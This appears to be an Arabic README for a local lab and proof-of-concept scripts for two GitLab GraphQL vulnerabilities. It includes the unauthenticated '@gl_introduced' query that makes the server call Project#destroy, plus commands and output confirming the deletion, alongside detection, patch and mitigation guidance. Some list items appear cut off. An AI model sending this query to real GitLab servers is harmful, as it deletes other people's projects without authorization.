
مختبر A/B قابل للتكرار + PoC آمن لـ GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced استدعاء تعسفي للطرق بدون مصادقة (مختبر تحقق + PoC)مختبر A/B قابل لإعادة الإنتاج وPoC آمن لـ CVE-2026-19478 (GitLab CE/EE، CVSS 9.4، حرجة). يمكن لمهاجم غير مصادَق استدعاء أي طرق Ruby بدون وسائط على كائنات المجال المُحلّلة عبر GraphQL — على سبيل المثال استدعاء
Project#destroyلحذف مشروع عام بدون بيانات اعتماد.يتضمن أيضًا PoC للثغرة الشقيقة CVE-2026-19650 (تبديل استعلام GraphQL المتعدد) التي تم إصلاحها في نفس الإصدار.
لاختبار الأمان المصرّح به / للأغراض التعليمية فقط. كل شيء يعمل ضد حاوياتك المحلية الخاصة.
توفّر GitLab توجيهًا للعميل GraphQL @gl_introduced(version: "X.Y.Z") (توافقية أمامية للنشر المتدرج). عندما يذكر استعلام حقلًا بإصدار أحدث من إصدار الخادم المُشغَّل، يقوم متتبع (Gitlab::Graphql::VersionFilter::IntroducedTracer) بإزالته قبل التحقق الثابت حتى ينجح التحقق من الاستعلام، ثم يعيد تشغيل المستند الأصلي أثناء التنفيذ ويتيح للحقول غير المعروفة أن تُحل إلى قيمة احتياطية.
الخلل في الآلية الاحتياطية (lib/gitlab/graphql/version_filter/future_field_fallback.rb، قبل التصحيح):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
يقوم graphql-ruby بحل GraphQL::Schema::Field بدون مُحلِّل عن طريق استدعاء
object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — فرع
respond_to?(@method_sym) → public_send يعمل قبل الاطلاع على fallback_value إطلاقًا، لذلك
كان fallback_value: nil كودًا ميتًا). وبالتالي، تحت @gl_introduced، يختار العميل اسم حقل
مساويًا لأي طريقة بدون وسائط على الكائن المُحلَّل حاليًا، ويقوم الخادم باستدعائها.
استعلم عن مشروع عام، واطلب "حقلًا مستقبليًا" باسم destroy → سينفّذ الخادم Project#destroy.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver صراحةً، وهو يعيد nil ولا يستدعي أي طريقة إطلاقًا.@gl_introduced(version:) أكبر من إصدار الخادم (استخدم 99.0.0).to_param, destroy).id) وإلا فإن المستند المُصفّى سيكون مجموعة تحديد فارغة وسيُعيد GitLab خطأ تحقق "Field must have selections".المتطلبات: Docker + docker compose، ~8 GB من ذاكرة RAM متاحة، Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
يطبع setup.sh لكل مثيل: رابط الأساس، ومسار المشروع العام المُجهَّز (root/pub)، ورمز وصول إداري (PAT).
يستخدم أولية استدعاء الطريقة مع طريقة غير ضارة (to_param). لا يتم تغيير أي بيانات.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
المتوقع:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
بينما على المثيل المُصحَّح:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
ينشئ مشروعًا عامًا مؤقتًا خاصًا به عبر REST API (يتطلب رمز الوصول الإداري من setup.sh)، ثم يحذفه عبر هجوم GraphQL غير المصادَق، ويتأكد من اختفاء المشروع.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
المتوقع (على المثيل الضعيف):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
على المثيل المُصحَّح، يُبلغ نفس التشغيل أن المشروع لا يزال يُرجع 200 OK وأن destroy هو null.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
وجّه --url إلى أي GitLab مصرّح لك باختباره، و--project إلى مشروع عام عليه:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
الكشف غير مدمر. لا تستخدم --prove-destroy ضد أي شيء لا تملكه.
قم بالترقية إلى 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 أو أحدث. يُمرّر الإصلاح الآلية الاحتياطية عبر Resolvers::NilResolver (يعيد nil ولا يستدعي أي طريقة على الكائن أبدًا). إذا لم تتمكن من الترقية فورًا، قم بحظر توجيه @gl_introduced / مسار مرشّح الإصدارات عند وكيل (proxy)، أو قيّد وصول GraphQL غير المصادَق.
| الملف | الغرض |
|---|---|
docker-compose.yml | يُقلع بالإصدار الضعيف 19.2.2-ce (:8222) + المُصحَّح 19.2.4-ce (:8224) |
setup.sh | ينتظر الجاهزية، ويُجهّز مشروعًا عامًا root/pub + رمز وصول إداري لكل مثيل |
poc_cve_2026_19478.py | الكشف (آمن) + دليل تأثير اختياري عبر --prove-destroy |
poc_cve_2026_19650.py | كشف تبديل استعلام multiplex (آمن) |
--prove-destroy ويحذف مشروعًا مؤقتًا خاصًا به؛ ولا يلمس root/pub أو بياناتك أبدًا.e283c6adeb3d (الآلية الاحتياطية) وd2ea4b971a98 (تبديل multiplex).